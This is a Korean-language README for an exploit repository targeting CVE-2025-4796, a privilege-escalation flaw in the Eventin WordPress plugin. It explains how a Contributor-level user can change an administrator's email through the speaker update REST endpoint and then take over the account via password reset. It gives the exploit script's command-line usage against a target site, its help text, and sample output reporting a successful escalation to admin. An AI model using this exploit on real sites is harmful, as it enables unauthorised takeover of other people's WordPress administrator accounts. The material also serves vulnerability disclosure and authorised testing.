
Eventin <= 4.0.34 - 인증된 (기여자+) 사용자 이메일 변경/계정 탈취를 통한 권한 상승
Eventin <= 4.0.34 - 인증된 (Contributor+) 사용자 이메일 변경/계정 탈취를 통한 권한 상승
이 저장소는 Eventin WordPress 플러그인(<= 4.0.34)의 권한 상승 취약점을 문서화한 것으로, Contributor+ 권한을 가진 인증된 사용자가 플러그인의 스피커 업데이트 API를 통해 임의 사용자의 이메일 주소를 변경할 수 있게 합니다. 관리자의 이메일을 변경함으로써 공격자는 비밀번호 재설정을 유발하고 계정 탈취에 성공할 수 있습니다.
취약한 구성 요소: Eventin WordPress 플러그인 (Eventin\Speaker\Api\SpeakerController::update_item)
영향받는 버전: <= 4.0.34
CVE: CVE-2025-4796
CVSS: 8.8 (High)
활성 설치 수: 10,000+
Eventin은 스피커/사용자 세부 정보(특히 이메일)를 업데이트하기 전에 호출자의 신원이나 권한을 제대로 검증하지 않습니다. Contributor(또는 그 이상) 권한으로 인증된 공격자는 플러그인의 REST 엔드포인트를 사용하여 관리자를 포함한 다른 사용자의 이메일 주소를 변경할 수 있습니다:
이메일이 공격자가 제어하는 주소로 변경되면, 표준 WordPress 비밀번호 재설정 흐름을 사용하여 계정을 탈취할 수 있습니다.
파일 이름: CVE-2025-4796.py
이 스크립트는 다음 단계를 자동화합니다:
/wp-json/eventin/v2/speakers/<speaker_id>로 PUT 요청을 보내 스피커의 이메일을 업데이트합니다.요구 사항:
설치:
pip install requests
명령줄에서 스크립트를 실행합니다:
python CVE-2025-4796.py -u https://target.site -id 9 -email [email protected] -user contributor_user -pass contributor_password
스크립트 도움말을 표시합니다:
python CVE-2025-4796.py -h
usage: CVE-2025-4796.py [-h] -u URL -id SPEAKER_ID -email EMAIL -user USERNAME -pass PASSWORD
Exploit For: CVE-2025-4796 By: Nxploited
options:
-h, --help show this help message and exit
-u, --url URL Target WordPress site URL
-id, --speaker_id SPEAKER_ID
Enter the speaker ID for the user
-email, --email EMAIL
Enter a new email address
-user, --username USERNAME
Enter the username for the account to upgrade
-pass, --password PASSWORD
Enter the password for the account to upgrade
[*] Please wait, exploitation starting ...
[*] Disabling SSL warnings ...
[*] Logging in to WordPress ...
[+] Logged in successfully.
[*] Extracting nonce value ...
[+] Nonce extracted: fc0ab7b983
[*] Exploiting and updating speaker info ...
[+] Exploitation in progress, please wait ...
[+] Exploitation successful.
[+] The account has been updated to Admin.
Speaker ID : 9
Email : [email protected]
[!] Please reset your password using the email: [email protected]
작성자: Khaled Alenaz (Nxploited)
GitHub: https://github.com/Nxploited/